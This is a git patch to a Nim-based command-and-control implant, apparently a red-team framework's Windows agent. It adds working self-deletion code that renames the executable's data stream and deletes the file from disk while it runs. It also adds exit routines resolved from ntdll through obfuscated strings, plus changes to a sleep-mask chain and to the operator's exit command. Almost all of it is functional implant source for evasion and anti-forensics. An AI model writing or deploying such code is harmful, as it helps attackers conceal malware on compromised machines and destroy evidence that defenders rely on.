From 0e9cffb1c4925db75a580fb3befa0c40c919a7c6 Mon Sep 17 00:00:00 2001 From: Jakob Friedl <71284620+jakobfriedl@users.noreply.github.com> Date: Fri, 24 Oct 2025 12:26:44 +0200 Subject: [PATCH] Improved 'exit' command and implemented self-delete functionality. --- src/agent/core/exit.nim | 83 ++++++++++++++++++++++++++++++++++++ src/agent/core/sleepmask.nim | 2 +- src/agent/nim.cfg | 2 +- src/common/types.nim | 5 +++ src/modules/exit.nim | 27 ++++++------ 5 files changed, 105 insertions(+), 14 deletions(-) create mode 100644 src/agent/core/exit.nim diff --git a/src/agent/core/exit.nim b/src/agent/core/exit.nim new file mode 100644 index 0000000..849327a --- /dev/null +++ b/src/agent/core/exit.nim @@ -0,0 +1,83 @@ +import winim/lean +import strutils, strformat, random +import ../utils/io +import ../../common/[types, utils] + +type + RtlExitUserThread = proc(exitStatus: NTSTATUS): VOID {.stdcall.} + RtlExitUserProcess = proc(exitStatus: NTSTATUS): VOID {.stdcall.} + + FILE_RENAME_INFO2* = object + Flags*: DWORD + RootDirectory*: HANDLE + FileNameLength*: DWORD + FileName*: array[MAX_PATH, WCHAR] + + FILE_DISPOSITION_INFO_EX* = object + Flags*: DWORD + +const + RAND_MAX = 0x7FFF + FILE_DISPOSITION_FLAG_DELETE = 0x00000001 # https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/ns-ntddk-_file_disposition_information_ex + FILE_DISPOSITION_POSIX_SEMANTICS = 0x00000002 + fileDispositionInfoEx* = 21 # https://learn.microsoft.com/en-us/windows/win32/api/minwinbase/ne-minwinbase-file_info_by_handle_class + +#[ + Delete own executable image from disk. + - https://maldevacademy.com/modules/72 +]# +proc deleteSelfFromDisk*() = + let newStream = newWString(fmt":{uint(rand(RAND_MAX)):x}{uint(rand(RAND_MAX)):x}") + var + szFileName: array[MAX_PATH * 2, WCHAR] + fileRenameInfo2: FILE_RENAME_INFO2 + fileDisposalInfoEx: FILE_DISPOSITION_INFO_EX + hLocalImgFile: HANDLE = INVALID_HANDLE_VALUE + + # Initialize fileRenameInfo + fileRenameInfo2.FileNameLength = cast[DWORD](newStream.len() * sizeof(WCHAR)) + fileRenameInfo2.RootDirectory = 0 + fileRenameInfo2.Flags = 0 + + for i in 0 ..< newStream.len(): + fileRenameInfo2.FileName[i] = newStream[i] + + # Get full file name of the executable + if GetModuleFileNameW(0, cast[LPWSTR](addr szFileName[0]), MAX_PATH * 2) == 0: + raise newException(CatchableError, GetLastError().getError()) + + hLocalImgFile = CreateFileW(cast[LPCWSTR](addr szFileName[0]), DELETE or SYNCHRONIZE, FILE_SHARE_READ or FILE_SHARE_WRITE or FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, 0) + if hLocalImgFile == INVALID_HANDLE_VALUE: + raise newException(CatchableError, "CreateFileW [1]" & GetLastError().getError()) + + if SetFileInformationByHandle(hLocalImgFile, fileRenameInfo, addr fileRenameInfo2, cast[DWORD](sizeof(FILE_RENAME_INFO2))) == FALSE: + raise newException(CatchableError, "SetFileInfByHandle [1]" & GetLastError().getError()) + + CloseHandle(hLocalImgFile) + + hLocalImgFile = CreateFileW(cast[LPCWSTR](addr szFileName[0]), DELETE or SYNCHRONIZE, FILE_SHARE_READ or FILE_SHARE_WRITE or FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, 0) + if hLocalImgFile == INVALID_HANDLE_VALUE: + raise newException(CatchableError, "CreateFileW [2]" & GetLastError().getError()) + + fileDisposalInfoEx.Flags = FILE_DISPOSITION_FLAG_DELETE or FILE_DISPOSITION_POSIX_SEMANTICS + + if SetFileInformationByHandle(hLocalImgFile, fileDispositionInfoEx, addr fileDisposalInfoEx, cast[DWORD](sizeof(FILE_DISPOSITION_INFO_EX))) == FALSE: + raise newException(CatchableError, "SetFileInfByHandle [2]" & GetLastError().getError()) + + CloseHandle(hLocalImgFile) + +proc exit*(exitType: ExitType = EXIT_PROCESS, selfDelete: bool = false) = + let hNtdll = GetModuleHandleA(protect("ntdll")) + + if selfDelete: deleteSelfFromDisk() + + case exitType: + of ExitType.EXIT_PROCESS: + let pRtlExitUserProcess = cast[RtlExitUserProcess](GetProcAddress(hNtdll, protect("RtlExitUserProcess"))) + pRtlExitUserProcess(STATUS_SUCCESS) + of ExitType.EXIT_THREAD: + let pRtlExitUserThread = cast[RtlExitUserThread](GetProcAddress(hNtdll, protect("RtlExitUserThread"))) + pRtlExitUserThread(STATUS_SUCCESS) + else: discard + + diff --git a/src/agent/core/sleepmask.nim b/src/agent/core/sleepmask.nim index d9e4d2f..30b8ff6 100644 --- a/src/agent/core/sleepmask.nim +++ b/src/agent/core/sleepmask.nim @@ -548,7 +548,7 @@ proc sleepFoliage(apis: Apis, key, img: USTRING, sleepDelay: int) = inc gadget # ctx[6] contains the final call, which exits the created thread after all APC calls have been executed. - ctx[gadget].Rip = cast[DWORD64](ExitThread) + ctx[gadget].Rip = cast[DWORD64](winbase.ExitThread) ctx[gadget].Rcx = cast[DWORD64](0) # Queueing the chain diff --git a/src/agent/nim.cfg b/src/agent/nim.cfg index b391a67..dbd1ded 100644 --- a/src/agent/nim.cfg +++ b/src/agent/nim.cfg @@ -5,5 +5,5 @@ --passL:"-s" # Strip symbols, such as sensitive function names -d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER" -d:MODULES="511" --d:VERBOSE="false" +-d:VERBOSE="true" -o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe" \ No newline at end of file diff --git a/src/common/types.nim b/src/common/types.nim index 434b1b4..aa0baa8 100644 --- a/src/common/types.nim +++ b/src/common/types.nim @@ -25,6 +25,7 @@ type LONG = 3'u8 BOOL = 4'u8 BINARY = 5'u8 + # FLAG = 6'u8 HeaderFlags* = enum # Flags should be powers of 2 so they can be connected with or operators @@ -96,6 +97,10 @@ type ZILEAN = 2'u8 FOLIAGE = 3'u8 + ExitType* {.size: sizeof(uint8).} = enum + EXIT_PROCESS = "process" + EXIT_THREAD = "thread" + ModuleType* = enum MODULE_ALL = 0'u32 MODULE_SLEEP = 1'u32 diff --git a/src/modules/exit.nim b/src/modules/exit.nim index 6f07c93..91c152c 100644 --- a/src/modules/exit.nim +++ b/src/modules/exit.nim @@ -9,8 +9,10 @@ let commands* = @[ name: protect("exit"), commandType: CMD_EXIT, description: protect("Exit the agent process."), - example: protect("exit"), + example: protect("exit process"), arguments: @[ + Argument(name: protect("exitType"), description: protect("Available options: PROCESS/THREAD. Default: PROCESS."), argumentType: STRING, isRequired: false), + Argument(name: protect("selfDelete"), description: protect("Attempt to delete the binary within which is the agent was running from disk. Default: false"), argumentType: BOOL, isRequired: false), ], execute: executeExit ) @@ -22,25 +24,26 @@ when not defined(agent): when defined(agent): - import winim/lean import strutils, strformat import ../agent/utils/io + import ../agent/core/exit import ../agent/protocol/result import ../common/[utils, serialize] - - type - RtlExitUserThread = proc(exitStatus: NTSTATUS): VOID {.stdcall.} - RtlExitUserProcess = proc(exitStatus: NTSTATUS): VOID {.stdcall.} proc executeExit(ctx: AgentCtx, task: Task): TaskResult = try: - let - hNtdll = GetModuleHandleA(protect("ntdll")) - pRtlExitUserThread = cast[RtlExitUserThread](GetProcAddress(hNtdll, protect("RtlExitUserThread"))) - pRtlExitUserProcess = cast[RtlExitUserProcess](GetProcAddress(hNtdll, protect("RtlExitUserProcess"))) - print " [>] Exiting." - pRtlExitUserProcess(STATUS_SUCCESS) + + case task.argCount: + of 0: + exit() + of 1: + let exitType = parseEnum[ExitType](Bytes.toString(task.args[0].data)) + exit(exitType) + else: + let exitType = parseEnum[ExitType](Bytes.toString(task.args[0].data)) + let selfDelete = cast[bool](task.args[1].data[0]) + exit(exitType, selfDelete) except CatchableError as err: return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg)) \ No newline at end of file